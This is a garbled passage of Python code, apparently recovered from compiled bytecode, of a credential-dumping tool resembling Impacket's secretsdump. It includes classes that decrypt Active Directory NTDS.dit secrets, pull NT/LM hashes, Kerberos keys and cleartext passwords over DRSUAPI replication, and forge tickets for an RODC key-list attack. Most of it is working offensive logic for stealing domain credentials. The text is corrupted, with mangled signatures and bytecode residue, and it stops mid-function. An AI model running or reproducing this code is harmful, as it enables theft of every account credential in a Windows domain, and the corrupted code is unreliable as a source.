dS )ResumeSessionMgrInFileNc                 C   s   || _ d | _|d u| _d S rG  )'_ResumeSessionMgrInFile__resumeFileName#_ResumeSessionMgrInFile__resumeFile&_ResumeSessionMgrInFile__hasResumeData)r	  resumeFileNamert   rt   ru   r+  	  s   zResumeSessionMgrInFile.__init__c                 C   rF  rG  )r  rD  rt   rt   ru   hasResumeData	  rI  z$ResumeSessionMgrInFile.hasResumeDatac                 C   s4   |    | jrtj| jrt| j d S d S d S rG  )endTransactionr  ospathisfiler#  rD  rt   rt   ru   clearResumeData	  s   z&ResumeSessionMgrInFile.clearResumeDatac                 C   s8   | j dd | j d | j |  | j   d S r8  )r  r<  truncaterB  rK  flushr#  rt   rt   ru   writeResumeData	  s   z&ResumeSessionMgrInFile.writeResumeDatac              
   C   sh   z	t | jd| _W n ty } ztdt| d }~ww | j }| j  t | jd| _|dS )Nrbz'Cannot open resume session file name %swb+r  )r  r  r  r1  r2  rA  rE  r:  )r	  r7  	resumeSidrt   rt   ru   getResumeData	  s   


z$ResumeSessionMgrInFile.getResumeDatac                 C   rF  rG  )r  rD  rt   rt   ru   getFileName	  rI  z"ResumeSessionMgrInFile.getFileNamec              
   C   s   | j sdddd tdD  | _ td| j   | js?z
t| j d| _W d S  ty> } ztd| j t|f d }~ww d S )	Nzsessionresume_%sr  c                 s   s    | ]	}t tjV  qd S rG  r  r  rt   rt   ru   	<genexpr>	      z:ResumeSessionMgrInFile.beginTransaction.<locals>.<genexpr>r  zSession resume file will be %sr  z*Cannot create "%s" resume session file: %s)	r  r  r  r   r  r  r  r1  r2  r  rt   rt   ru   beginTransaction	  s   z'ResumeSessionMgrInFile.beginTransactionc                 C   s   | j r| j   d | _ d S d S rG  )r  rE  rD  rt   rt   ru   r  	  s   

z%ResumeSessionMgrInFile.endTransactionrG  )rp   rq   rr   r+  r  r  r  r  r  r  r  rt   rt   rt   ru   r  	  s    

r  c                   @   sP  e Zd ZG dd deZG dd dZi ddddd	d
dddddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,Zd-d.d/d0d1d2d3d4d5d6	Zd7d8d9d:d;d<d=d>d?d@dA
ZdBdCdDdEdFdGZ	e
dHdI e D ZdJZdKZdLZeeefZG dMdN dNeZG dOdP dPeZG dQdR dReZG dSdT dTeZG dUdV dVeZG dWdX dXeZG dYdZ dZeZd[d[d\d]d[d[d[d[d]d]d]d]d]d[d]d^d_ efd`daZedbdc Zeddde Zedfdg ZeddhdiZdjdk Z dldm Z!dndo Z"dpdq Z#drds Z$dtdu Z%e&dvdw Z'ddxdyZ(ddzd{Z)d|d} Z*ed~d Z+dd Z,d]S )r  c                   @   s   e Zd ZdS )zNTDSHashes.MissingPekIndexN)rp   rq   rr   rt   rt   rt   ru   MissingPekIndex	  s    r  c                   @   s   e Zd ZdZdZdZdS )zNTDSHashes.SECRET_TYPEr   r0  r  N)rp   rq   rr   rF  NTDS_CLEARTEXTNTDS_KERBEROSrt   rt   rt   ru   rx  	  s    rx  
uSNCreateds
   ATTq131091
uSNChangeds
   ATTq131192r  s   ATTm3
objectGUIDs
   ATTk589826r.  s
   ATTr589970r  s
   ATTj589832primaryGroupIDs
   ATTj589922accountExpiress
   ATTq589983
logonCounts
   ATTj589993sAMAccountNames
   ATTm590045sAMAccountTypes
   ATTj590126lastLogonTimestamps
   ATTq591520	lastLogons
   ATTq589876userPrincipalNames
   ATTm590480
unicodePwds
   ATTk589914dBCSPwds
   ATTk589879ntPwdHistorys
   ATTk589918s
   ATTk589984s
   ATTk590689s
   ATTk589949s
   ATTq589920s
   ATTj131073)lmPwdHistorypekListsupplementalCredentialsr  instanceTypei	 i 	 iZ 	 i7 	 i^ 	 i 	 i} 	 i 	 i 	 )	r  r  r  r  r  r  r  r.  r  z1.2.840.113556.1.4.656z1.2.840.113556.1.4.221z1.2.840.113556.1.4.90z1.2.840.113556.1.4.55z1.2.840.113556.1.4.94z1.2.840.113556.1.4.160z1.2.840.113556.1.4.125z1.2.840.113556.1.4.146z1.2.840.113556.1.4.96z1.2.840.113556.1.4.8)
r  r  r  r  r  r  r  r.  r  r  zdec-cbc-crczdes-cbc-md5zaes128-cts-hmac-sha1-96zaes256-cts-hmac-sha1-96rc4_hmac)r0  r/        l   t c                 c   s    | ]	\}}||fV  qd S rG  rt   )r  kr  rt   rt   ru   r  	  r  zNTDSHashes.<genexpr>i   0i  0i  0c                   @   ra   )zNTDSHashes.PEKLIST_ENC)Headerr   KeyMaterialrj   )EncryptedPekr   Nro   rt   rt   rt   ru   PEKLIST_ENC
  rv   r&  c                   @   ra   )zNTDSHashes.PEKLIST_PLAIN))r"  z32s=b"")DecryptedPekr   Nro   rt   rt   rt   ru   PEKLIST_PLAIN	
  rv   r(  c                   @   ra   )zNTDSHashes.PEK_KEY))r"  z1s=b"")Paddingz3s=b""rk   Nro   rt   rt   rt   ru   PEK_KEY
  rv   r*  c                   @   ra   )zNTDSHashes.CRYPTED_HASH)r!  r#  )EncryptedHashrj   Nro   rt   rt   rt   ru   CRYPTED_HASH
  rv   r,  c                   @   ra   )zNTDSHashes.CRYPTED_HASHW16)r!  r#  r   r+  r   Nro   rt   rt   rt   ru   CRYPTED_HASHW16
  rv   r.  c                   @   ra   )zNTDSHashes.CRYPTED_HISTORYr!  r#  r-  Nro   rt   rt   rt   ru   CRYPTED_HISTORY%
  rv   r0  c                   @   ra   )zNTDSHashes.CRYPTED_BLOBr/  Nro   rt   rt   rt   ru   CRYPTED_BLOB,
  rv   r1  FTNc                 C   ry  rG  r  rz  rt   rt   ru   r   6
  r  zNTDSHashes.<lambda>c                 C   sD  || _ || _|| _|| _|| _|| _|| _|
| _|| _|| _	| jd ur1t
||d| _| jd| _t | _t | _t | _t | _t | _|	| _||| _|| _|| _|| _|| _|| _| jd d| jd d| jd d| jd d| jd d| jd	 d| jd
 d| jd d| jd d| jd d| jd d| jd d| jd di| _d S )Nro  	datatabler.  r0  r  r  r  r  r  r  r  r  r  r  r  r  )_NTDSHashes__bootKey_NTDSHashes__NTDS_NTDSHashes__history_NTDSHashes__noLMHash_NTDSHashes__useVSSMethod"_NTDSHashes__remoteSSMethodWMINTDS_NTDSHashes__remoteOps_NTDSHashes__pwdLastSet_NTDSHashes__printUserStatus_NTDSHashes__localDomainSidr6   _NTDSHashes__ESEDB	openTable_NTDSHashes__cursorr  _NTDSHashes__tmpUsers_NTDSHashes__PEKrQ  _NTDSHashes__cryptoCommonr   _NTDSHashes__kerberosKeys_NTDSHashes__clearTextPwds_NTDSHashes__justNTLM_NTDSHashes__resumeSession_NTDSHashes__outputFileName_NTDSHashes__justUser_NTDSHashes__ldapFilter_NTDSHashes__skipUser_NTDSHashes__perSecretCallbackNAME_TO_INTERNAL%_NTDSHashes__filter_tables_usersecret)r	  ntdsFiler  ro  r  r  r  useVSSMethodremoteSSMethodWMINTDSjustNTLMr  resumeSessionoutputFileNamejustUserskipUser
ldapFilterr  localDomainSidr  resumeSessionMgrrt   rt   ru   r+  3
  sN   















zNTDSHashes.__init__c              
   C   s   zt t|d}| d}W n ty* } ztd|| W Y d }~d S d }~ww |d |k r<td||  d S |d }ttd|dd  d	 |d
< |S )Nr   r  zAFailed to parse %s while normalizing an offline datatable SID: %sr   z@Ignoring unexpected %s without the expected domain SID shape: %sr  r  r   r  )	r   r   r  rH  r1  r   r  r2  r
   )clsr.  minimumSubAuthorityCountcontextrA  canonicalSidr7  subAuthoritiesrt   rt   ru   "__getOfflineDatatableSidComponentse
  s    	z-NTDSHashes.__getOfflineDatatableSidComponentsc                 C   s,   |  |dd}|d u rd S d|d d S )Nr  zaccount objectSidr  r  -_NTDSHashes__getOfflineDatatableSidComponentsr  r[  r.  sidComponentsrt   rt   ru   __getAccountDomainSid|
  s   z NTDSHashes.__getAccountDomainSidc                 C   s$   |  |dd}|d u rd S d|S )Nr  zpekList objectSidr  ra  rc  rt   rt   ru   __getPekListDomainSid
  s   
z NTDSHashes.__getPekListDomainSidc                 C   s   |d u rd S t ||d}z[|d}| jd d| jd di}	 z	|j||d}W n ty6   td Y qw |d u rBW |  d S || jd  d u rLq|| jd  }|d u r^W |  d S | |W |  S |  w )	Nr2  r3  r.  r0  r  Tfilter_tableszUError while calling getNextRow() for local domain SID resolution, trying the next one)	r6   r?  rM  
getNextRowr1  r   r  rE   _NTDSHashes__getPekListDomainSid)r[  rO  ro  eseDBcursorrh  r  r.  rt   rt   ru   getLocalDomainSid
  s4   




zNTDSHashes.getLocalDomainSidc                 C   sP   || j d  | jvrdS | jd u rdS || j d  }|d u r dS | || jkS )Nr  FTr.  )rM  ACCOUNT_TYPESr=   _NTDSHashes__getAccountDomainSid)r	  r  r.  rt   rt   ru   __isLocalDomainAccount
  s   
z!NTDSHashes.__isLocalDomainAccountc                 C   s
   | j  S rG  )rG  r  rD  rt   rt   ru   getResumeSessionFile
  ru  zNTDSHashes.getResumeSessionFilec                 C   s:  t d d }	 z| jj| j| jd}W n
   t d Y q|d u r$n|| jd  d ur7t|| jd  }n| 	|rB| j
| q|d ur| |}|d d d dkrtd	}|| j td
D ]	}||d  qf| }t|}| ||d }t|  }	tt|d |	 D ])}||	 }
| |d |
|
|	  }t d|t|d d | j|d  qd S |d d d dkr| | j| j|d |d }d\}}	 |d ||d  }t|dk rd S td|\}}||krd S | j| t d|t|d |d7 }|d7 }qd S d S )Nz!Searching for pekList, be patientTrg  5Error while calling getNextRow(), trying the next oner  r"  r  s      r  r  r$  r%  r'  z PEK # %d found and decrypted: %srQ   r  s      )r   r   r  z<L16sr0  )r   r~  r>  ri  r@  rN  r  rM  r   !_NTDSHashes__isLocalDomainAccountrA  r  r&  r  rZ  r  r4  r  r  rW   r(  rd  r?  r*  r   r:  rB  rC  rc  r
   )r	  peklistr  encryptedPekListr  r  r  r  decryptedPekListPEKLenrl  pekpos	cur_index	pek_entryra  rt   rt   ru   __getPek
  sh   






zNTDSHashes.__getPekc                 C   sP   t d}|| |d  ||d  | }t|}||d }|S )Nr  r"  r$  r+  )r  rZ  r  _NTDSHashes__getPekFromHeaderr  rW   rd  )r	  r  r  r  r  r_  rt   rt   ru   __removeRC4Layer
  s   

zNTDSHashes.__removeRC4Layerc                 C   sF   t t|dd d}|t| jkr| d|t| jf | j| S )Nr  r  rY  zOEncrypted secret references PEK index %d, but only %d PEK entries are available)r  r   r?  rB  r  )r	  headerpekIndexrt   rt   ru   __getPekFromHeader  s   
zNTDSHashes.__getPekFromHeaderc                 C   sX   | j t|\}}t|tj}t|tj}||d d ||dd   }|S )Nr  )rC  rW  r  rV   rZ  r  r\  )r	  r  r$  r  r  r  r  r  rt   rt   ru   __removeDESLayer  s
   $zNTDSHashes.__removeDESLayerc                 C   s0   | d8 } | d } | dk rdS t | }|dS )Nr  r  r   r  z%Y-%m-%d %H:%M)r   r  strftime)tdtrt   rt   ru   __fileTimeToDateTime  s   

zNTDSHashes.__fileTimeToDateTimec                 C   s^  d}t d | jdu s| jdu r|| jd  d urtt|| jd  dkr|| jd  d urH|| jd  dd }d	||| jd
  f }n	d|| jd
   }| t|| jd  }|d d d dkr| j	
| |d |d dd  |d }	d}n| |}	d}nd }d }d|d  }
|d |
 d d d d D ]}zt||d }| j}W n' ty } zt d|  t jddd |d }| j}W Y d }~nd }~ww ||d kr
|d d dkrzd|d d  d d! d"dd }W n\   d }Y nUd }nR||d
 kr\|d d dkrGzd|d d  d d! d"}W n/   t d#|d |
 d$ d% d d   d&}Y nt d#|d |
 d$ d% d d   d&}||d kr|d d dkrd|d d  d d! }t| j |}	t|	dkrd}q|d urd	||f }|du rz
t|	\}}}W n   Y d S t|D ]}zt|}W n ty   t jd'|dd Y  d S w |t|d  }|d( d"d)krSt|d* }t|}|d+ }t|d, D ]Z}t|}|t|d  }||d- d  d |d.  }|d/ | jv r-d0|| j|d/  t|d1f }nd0|t |d/ t|d1f }d | j!|< |d urO| "||d2  qq|d( d"d3krzd4|t|d* d"f }W n t#y   d5||d* d1f }Y nw d | j$|< |d ur| "||d2  q|d ur|%  |d ur|%  t d6 d S )7NFz-Entering NTDSHashes.__decryptSupplementalInfoTr  r  r  @r  r^  r  %sr"  r        r+  r$  V%dpdwOutVersionr  pObjectsEntinf	AttrBlockpAttrattrTypz,Failed to execute OidFromAttid with error %sr1  r5  AttrValvalCountr   r=  pAValpValr   Cannot get sAMAccountName for %sr  r  unknownzPMalformed supplemental credential property for %s, discarding the remaining dataPropertyNamezPrimary:Kerberos-Newer-KeysPropertyValueBufferCredentialCount	KeyOffset	KeyLengthKeyTyper  r  rm  zPrimary:CLEARTEXTz%s:CLEARTEXT:%sz%s:CLEARTEXT:0x%sz,Leaving NTDSHashes.__decryptSupplementalInfo)&r   r  r8  r9  rM  r?  r   rH  r1  rC  rc  r}  _NTDSHashes__removeRC4Layerr   OidFromAttidr  r1  NAME_TO_ATTRTYPr  r:  r  DecryptAttributeValuer:  r  r   unpack_user_propertiesr  USER_PROPERTYKERB_STORED_CREDENTIAL_NEWKERB_KEY_DATA_NEWr  r   hexrD  _NTDSHashes__writeOutputUnicodeDecodeErrorrE  r  )r	  r  prefixTablekeysFileclearTextFilehaveInfor  rR  re  r_  replyVersionattrr  LOOKUP_TABLEr7  r  rM  propertyCountpropertiesDatauserPropertypropertyValueBufferkerbStoredCredentialNewr   
credential
keyDataNewrz  rW  rt   rt   ru   __decryptSupplementalInfo$  s   

 
.$&



$ 





z$NTDSHashes.__decryptSupplementalInfoc           #      C   s6  t d | jdu s| jdu rt d|| jd    tt|| jd  }| dd }|| jd  d ur}| 	t|| jd  }|d	 d d
 dkrq| 
t|| jd  }| j| |d	 |d d d |d }n| |}| ||}ntdd}|| jd  d ur| 	t|| jd  }	|	d	 d d
 dkr| 
t|| jd  }	| j| |	d	 |	d d d |	d }
n| |	}
| |
|}ntdd}|| jd  d ur|| jd  dd }d||| jd  f }n	d|| jd   }| jdu r:|| jd  d ur8d|| jd  dd dkr$d}nd|| jd  dd dkr7d}nd}|| jd  d urO| || jd  }nd}d||t|d t|d f }| jdu rod!||f }| jdu r{d"||f }| tjj| |d ur| ||d#  | jrg }g }|| jd$  d ur| t|| jd$  }| |}t d%t!|d D ]}| ||d |d& d  |}|"| q|| jd'  d ur;| t|| jd'  }|d	 d d
 dkr| 
t|| jd'  }| j| |d	 |d |d }n| |}t d%t!|d D ]}| ||d |d& d  |}|"| q"t#t$d(d) |d&d  |d&d  D ]>\}\}}| j%r`ttdd}nt|}d*||||d t|d f }|d ur| ||d#  | tjj| qMn}d+|d,  }t d|d- | d. d/ d d   d }| jrg }g }t&d0|d- | d1 d2 d3 d4 d5d  d% }|d- | d1 d2 d6 d7 D ]}zt'(||d8 }| j)}W n( t*y } zt d9|  t jd:dd; |d8 }| j+}W Y d }~nd }~ww ||d krE|d< d= d%kr=d>,|d< d? d% d@ }t'-| j./ |}t'0||}nmtdd}ne||d kr{|d< d= d%krsd>,|d< d? d% d@ }t'-| j./ |}	t'0|	|}n7tdd}n/||d kr|d< d= d%krzd>,|d< d? d% d@ dAdd }W n   d }Y nd }n||d kr|d< d= d%krzd>,|d< d? d% d@ dA}W n   t 1dB|d- | d. d/ d d   dC}Y nt 1dB|d- | d. d/ d d   dC}n||d kr5|d< d= d%krd>,|d< d? d% d@ } nt 1dD|d- | d. d/ d d   |} nu||d krx|d< d= d%krwz| t&dEd>,|d< d? d% d@ d% }W nM   t 1dF|d- | d. d/ d d   d}Y n3n2| jr||d kr|d< d= d%krt&d0d>,|d< d? d% d@ d% t2j3@ rd}nd}nd}| jrj||d$ kr|d< d= d%krd>,|d< d? d% d@ }t'-| j./ |}t d%t!|d D ]}t'0||d |d& d  |}!|"|! qݐqt dG|d- | d. d/ d d   q||d' krj|d< d= d%krWd>,|d< d? d% d@ }t'-| j./ |}t d%t!|d D ]}t'0||d |d& d  |}"|"|" q<qt dH|d- | d. d/ d d   q|d urwd||f }d||t|d t|d f }| jdu rd!||f }| jdu rd"||f }| tjj| |d ur| ||d#  | jrt#t$dId) |d&d  |d&d  D ]>\}\}!}"| j%rttdd}nt|!}d*||||d t|"d f }| tjj| |d ur	| ||d#  q|d ur|4  t dJ d S )KNz!Entering NTDSHashes.__decryptHashTzDecrypting hash for user: %sr  r.  r  r  r  r"  r  r  r+  rY  r$  r  r  r  r  r^  r  r  r  z{0:08b}1Disabledr  Enabledr  r  rb  r  z%s (pwdLastSet=%s)z%s (status=%s)rm  r  r   r0  r  c                 S      | r| |fS d|fS Nr  rt   lnrt   rt   ru   r          z*NTDSHashes.__decryptHash.<locals>.<lambda>z%s_history%d:%s:%s:%s:::r  r  r  r  r  rR  r  r  pNamer  rZ  r  r  r  zHFailed to execute OidFromAttid with error %s, fallbacking to fixed tabler1  r5  r  r  r=  r  r  r  r  r  zCannot get objectSid for %sz<QzCannot get pwdLastSet for %szNo lmPwdHistory for user %szNo ntPwdHistory for user %sc                 S   r  r  rt   r  rt   rt   ru   r   y  r  z Leaving NTDSHashes.__decryptHash)5r   r  r8  r9  rM  r   r   r  rH  r,  r.  rC  rc  r}  r  _NTDSHashes__removeDESLayerr   r&  r'  r<  r  _NTDSHashes__fileTimeToDateTimer   r:  r;  rL  r  rx  rF  r  r6  r0  r  r?  r  r  r  r7  r
   r   r  r  r1  r  r  r  r:  r  removeDESLayerr  r   UF_ACCOUNTDISABLEr  )#r	  r  r  
outputFilerA  r$  encryptedLMHash	tmpLMHashLMHashencryptedNTHash	tmpNTHashNTHashr  rR  userAccountStatusr  rW  	LMHistory	NTHistoryencryptedLMHistorytmpLMHistoryr  encryptedNTHistorytmpNTHistoryr  r  r  r  r  r7  encrypteddBCSPwdencryptedUnicodePwdr.  LMHashHistoryNTHashHistoryrt   rt   ru   r    s  


""$

 
 
&."
0$&&&.&, * &
$


zNTDSHashes.__decryptHashc                 C   s  d }d }d }g }| j r*tj| j r$t| j d}dd |D }|  n| j d}| jdu s4| jdu r<| j	d u r;d S nQ| j	d u rz1| j
d urmz| j
| j
 d  W n   tdd urj| jd usi| jd urjn Y ntdW n ty } ztd	|  W Y d }~d S d }~ww z| jd urtd
| j  | j rd}nd}t| jd |}| jdu rt| jd |}t| jd |}td | js| jr|   | jd urtd| j	  | jD ]}z| j||d | jdu r| |d || W q tye } z\t|| jr.zt d|| j!d  |f  W n   t d|  Y W Y d }~qtjddd zt"d|| j!d    t"t#| W n   t"d t"t#| Y W Y d }~qd }~ww 	 z| j$j%| j&| j'd}W n   t"d Y qf|d u rnz| (|r| j||d | jdu r| |d || W nj ty } z]t|| jrzt d|| j!d  |f  W n   t d|  Y W Y d }~qftjddd zt"d|| j!d    t"t#| W n   t"d t"t#| Y W Y d }~nd }~ww qgntd t)}	d}
d}| j r/| j* }td|  nd }| jd u rB| jd u rB| j+  | jd ur9| j,d dksZ| j,d!dkrg| j-d!d | _t.j/j0}nt.j1}| j
j2|t.j/j3| jd"}|d# d$ d% d& dkr|d# d$ d% d' d d( dkrtd)t4j5d*|d# d$ d% d' d d(    | j
6|d# d$ d% d' d d+ d d, }d-|d.  }|d# | d/ dkrtd0nt d1|d# d$ d% d& | jf  z(| ||d# | d2 d3 | | jdu r| ||d# | d2 d3 || W n ty8 } zt"d4 tjddd t"t#| W Y d }~nmd }~ww | jd urK| j
7| j}t.j/j0}|D ]\}}|rwz| j
8|}W n t.j9yv } ztd5 d}W Y d }~nd }~ww |s| j
j2|t.j/j3|d"}|d# d$ d% d& dkr|d# d$ d% d' d d( dkrtd)t4j5d*|d# d$ d% d' d d(    | j
6|d# d$ d% d' d d+ d d, }nt d1|d# d$ d% d& |f  d-|d.  }|d# | d/ dkrtd0z(| ||d# | d2 d3 | | jdu r| ||d# | d2 d3 || W qL tyH } zt"d6|  tjddd t"t#| W Y d }~qLd }~ww nV|	t)kr| j
:|
}|d7 d7 D ]6}|d8 }||v rjq\d9| j
; |d: f }|d ur||krtd;|  d }ntd<|  q\|rz| j
8|}W n t.j9y } ztd5 d}W Y d }~nd }~ww |s)| j
j2t.j/j<t.j/j3|d"}|d# d$ d% d& dkr|d# d$ d% d' d d( dkrt"d)t4j5d*|d# d$ d% d' d d(      n| j
6|d# d$ d% d' d d+ d d, }nt d1|d# d$ d% d& |f  d-|d.  }|d# | d/ dkr>td0z'| ||d# | d2 d3 | | jdu rd| ||d# | d2 d3 || W n& ty } zt"d4 tjddd t"t#| W Y d }~nd }~ww | j=| q\|d= }
|d> }	|	t)ksP| jd u r| jd u r| j>  td? t?| j@dkr| jdu s| jdu rtd@| j	  ntdA tA| j@B D ]}| CtDjEjF| qt?| jGdkr!| jdu s | jdu r	tdB| j	  ntdC tA| jGB D ]}| CtDjEjH| qW |d ur+|  |d ur4|  |d ur=|  | jI  d S |d urM|  |d urV|  |d ur_|  | jI  w )DNrc                 S   s   g | ]}|  qS rt   r  )r  r4  rt   rt   ru   r    r  z#NTDSHashes.dump.<locals>.<listcomp>,Tr0  
KRB5CCNAMEzNo remote Operations availablez$Exiting NTDSHashes.dump() because %szSaving output to %sza+r  z.ntdsFz.ntds.kerberosz.ntds.cleartextz9Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)z&Reading and decrypting hashes from %s )r  zSkipping row for user %s: %sr  zSkipping row: %sr1  r5  z&Error while processing row for user %szError while processing row!rg  rr  z0Using the DRSUAPI method to get NTDS.DIT secretsr   z Resuming from SID %s, be patientr  r>  )r  r  V1pResultr  r  statusz%s: %si!  r  r  r  r  cNumObjectsz)DRSGetNCChanges didn't return any object!z5DRSCrackNames returned %d items for user %s, skippingPrefixTableSrcr  zError while processing user!zCSID lookup unsuccessful, falling back to DRSCrackNames/GUID lookupszError while processing user %s!r  Namez%s-%i
RelativeIdz2resumeSid %s reached! processing users from now onz.Skipping SID %s since it was processed alreadyEnumerationContext	ErrorCodezUFinished processing and printing user's hashes, now printing supplemental informationzKerberos keys from %s zKerberos keys grabbedzClearText password from %s zClearText passwords grabbed)JrK  r  r  r  r  rE  rH  r8  r9  r5  r:  r  r  getenvrI  rJ  r1  r   r  rH  rG  r  r!  rF  r~  _NTDSHashes__getPekrB  rA  _NTDSHashes__decryptHash$_NTDSHashes__decryptSupplementalInfor8  r  r  rM  r  r2  r>  ri  r@  rN  rs  r;   r  r  r3  r  r   rN  DS_NT4_ACCOUNT_NAMEDS_NT4_ACCOUNT_NAME_SANS_DOMAINr  DS_UNIQUE_ID_NAMEr   ERROR_MESSAGESr  r@  r  DCERPCSessionErrorr  rA  DS_SID_OR_SID_HISTORY_NAMEr  r  r?  rD  r  ru  rL  r  rx  r
  rE  r	  r  )r	  hashesOutputFilekeysOutputFileclearTextOutputFile	skipUsersfr7  r  r  r  r  lookupBySidr  r  crackedName
userRecordr  r  rf  r  rR  itemKeyrt   rt   ru   r    s^  



"












!

$
",

".
,



"
"

F









zNTDSHashes.dumpc              
   C   sJ   z| | W d S  ty$ } ztdt|  W Y d }~d S d }~ww )Nz"Error writing entry, skipping (%s))rB  r1  r   r  r2  )r[  rq  r   r7  rt   rt   ru   __writeOutput  s   zNTDSHashes.__writeOutputc                 C   r  rG  )r5  r>  rE  rD  rt   rt   ru   r    s   
zNTDSHashes.finishrM  )NNNrL  )-rp   rq   rr   r1  r  rx  rM  r  r  r  dictrp  INTERNAL_TO_NAMESAM_NORMAL_USER_ACCOUNTSAM_MACHINE_ACCOUNTSAM_TRUST_ACCOUNTrn  r<   r&  r(  r*  r,  r.  r0  r1  r  r+  classmethodrb  ro  rj  rm  rs  rq  r  r  r}  r  ri  r  r  r  r  r  r  rt   rt   rt   ru   r  	  s    	



2


!@	


	
| k  M
r  c                   @   s,   e Zd Zdd Zdd Zdd Zdd Zd	S )
LocalOperationsc                 C   rr  rG  )_LocalOperations__systemHive)r	  
systemHivert   rt   ru   r+    ru  zLocalOperations.__init__c                 C   s   | dd }d| S )Nz\Select\Currentr0  zControlSet%03d)ry  )r	  winregcurrentControlSetrt   rt   ru   __getCurrentControlSet  s   z&LocalOperations.__getCurrentControlSetc           
      C   s   d}d}t | jd}| |}dD ]!}td|  |d||f }|d d d}|t| }qg d}t	|}t
t|D ]}	||||	 ||	 d	  7 }qBtd
t|d  |S )Nr=  Fr  r  z\%s\Control\Lsa\%srY  r  r  r0  r  r  )r   rl  r   &_LocalOperations__getCurrentControlSetr   r  r}  r:  r   r   r  r?  r~  r   )
r	  r  r  r  r  r  r
  digitr  r  rt   rt   ru   r    s   
zLocalOperations.getBootKeyc                 C   sj   t d t| jd}| |}|d| }|d ur!|d }nd}|dkr.t d dS t d dS )	Nr  Fz\%s\Control\Lsa\NoLmHashr0  r   r  r  T)r   r  r   rl  r   r  ry  )r	  r  r  noLmHashrt   rt   ru   r    s   




z#LocalOperations.checkNoLMHashPolicyN)rp   rq   rr   r+  r  r  r  rt   rt   rt   ru   r    s
    r  c                   @   sB   e Zd ZdddZdd Zdd Zdd	 Zed
d Zdd Z	dS )KeyListSecretsNc                 C   sL   || _ || _|| _| j d u r|| _|| _d S | j  d | _| j  | _d S r8  )_KeyListSecrets__remoteOps!_KeyListSecrets__keyVersionNumber_KeyListSecrets__rodcKey_KeyListSecrets__kdcHostName_KeyListSecrets__domainr  rZ  )r	  
domainNamekdckvnorodcKeyr  rt   rt   ru   r+    s   

zKeyListSecrets.__init__c           	      C   s   t d | j| j d  |  }|D ]=}|dd }td| tj	j
jd}| |\}}| |||}|d urS| ||}t| jd | d |dd    qd S )	Nz-Using the KERB-KEY-LIST method to get secretsr0  r   r   r  r3  r  r  )r   r~  r	  r  r  getAllowedUsersToReplicaterH  rU   r@   rM   NT_PRINCIPALr]  createPartialTGT
getFullTGTgetKeyprintr  )	r	  
targetList
targetUserrf  targetUserName
partialTGT
sessionKeyfullTGTr  rt   rt   ru   r  !  s   
"zKeyListSecrets.dumpc                 C   s"  t  }tjj|d< | j|d< t|d< tjj|d d< d|d d d< | j|d d d< t|d	< | jd
> |d	 d< t	j
j|d	 d< t }t }|tjj |tjj |tjj t||d< t|d< |d	 d |d d< ddd tdD |d d< | j|d< t|d< tjj|d d< t|d d< ||d d d< t|d< d|d d< d|d d< tttj|d< tttj|d< ttjttdd }t||d< t||d< t|d < t|}t |d	 d  }t!|j"t#| j$}|%|d!|d }	|	|d	 d"< |d d }
||
fS )#Nztkt-vnor  sname	name-typekrbtgtname-stringr   r0  enc-partrY  r  r  r  r  keytyper  c                 S   r  rt   r  r  rt   rt   ru   r  G  r  z3KeyListSecrets.createPartialTGT.<locals>.<listcomp>r  keyvaluecrealmcname	transitedztr-typer  authtime	starttimex   daysendtimez
renew-tillzauthorization-datar  r  )&
TicketAsn1rK   pvnor]  r  r\   rM   NT_SRV_INSTr
  rO   r  rB   r  r  rL   forwardable	renewable
enc_pa_reprN   r  r  r  rT   to_asn1r   rN  r	   r  r   r  r_   rK  rR   rQ   enctyper   r  rd  )r	  rR  r  encTicketPartr  ticketDurationencodedEncTicketPartr  r  re  r  rt   rt   ru   r  .  sP   
 

zKeyListSecrets.createPartialTGTc              
   C   s
  t  }|| t }d|d< ttjjj|d< t }t||d< t	|d|j
 t }d|d< |d  |d< t	|d	|j ttj}|j|d
< t
||d< t|}	t|d d  }
t|
jt|}|
|d|	d }t|d< |
j|d d< ||d d< t }d|d< ttjjj|d< t|d< t|d d< ttjjj|d d d< t|}||d d d< t|d d< ttjjj|d d d< tjdgt t! dd}||d d d< t	|d}t }|"tj#j$j t||d< t%dt&j'jd}t&j'j|d d< ||d d d< | j(|d d d< | j(|d< ttjt)dd  }t
||d!< t*+d"|d#< t,|dt|
jttj-j.jttj-j/jttj-j0jttj-j1jf t|}zt23d$| t4|| j(| j5}W |S  t6y } zt7|8d%dkst7|8d&dkrt29d'| nmt7|8d(dkrt29d)| n\t7|8d*dkrt29d+| nKt7|8d,dkrt6d-t7|8d.dkrt6d/t7|8d0dkrt6d1t7|8d2dkrt6d3t7|8d4dkrt6d5t29| W Y d }~d S d }~ww )6Nr  r0  zmsg-typez
ap-optionsticketzauthenticator-vnor  r&  r'  cusecctimer#  r  r  authenticatorr  padatar   zpadata-typepadata-valuer0     )componentTypeasn1Speczreq-bodyzkdc-optionsr!  r  r  r   r"  r,  till   noncez+Requesting a service ticket for the user %sKDC_ERR_TGT_REVOKEDKDC_ERR_CLIENT_REVOKEDz<User %s is not allowed to have passwords replicated in RODCsKDC_ERR_C_PRINCIPAL_UNKNOWNzUser %s doesn't existKDC_ERR_KEY_EXPIREDzUser %s's password has expiredzConnection timed outzDConnection timed out: check the KDC HostName or IP address, abortingzName or service not knownzIName or service not known: check the KDC HostName or IP address, abortingKDC_ERR_WRONG_REALMz3KDC_ERR_WRONG_REALM: domain doesn't exist, abortingKDC_ERR_S_PRINCIPAL_UNKNOWNzKKDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, abortingKRB_AP_ERR_BAD_INTEGRITYz:KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting):rA   	from_asn1rC   r  r@   ApplicationTagNumbersr]  r  rN   rD   r5  rE   r9  components_to_asn1r   rN  r	   r  microsecondrT   r_   rK  rR   rQ   r6  rS  rd  r\   rF   PreAuthenticationDataTypes
PA_TGS_REQKERB_KEY_LIST_REQr]   r^   r  
KDCOptionscanonicalizerU   rM   r1  r  r   randgetrandbitsrG   rO   r  r  rc4_hmac_exprc4_hmac_old_expr  r  rS   r  r1  r2  r3  r  )r	  rR  r  r  r:  apReqoptsr=  rN  encodedAuthenticatorr  keyAuthencryptedEncodedAuthenticatortgsReqencodedApReqencodedKeyReqreqBody
serverNamemessager  r  rt   rt   ru   r  e  s   







(
zKeyListSecrets.getFullTGTc                 C   s   t j| t dd }|d }|d }t| }t|jt|}||d|d }t j|t dd }|d d }	t j|	d t	 dd }
|
d d	 
 }|S )
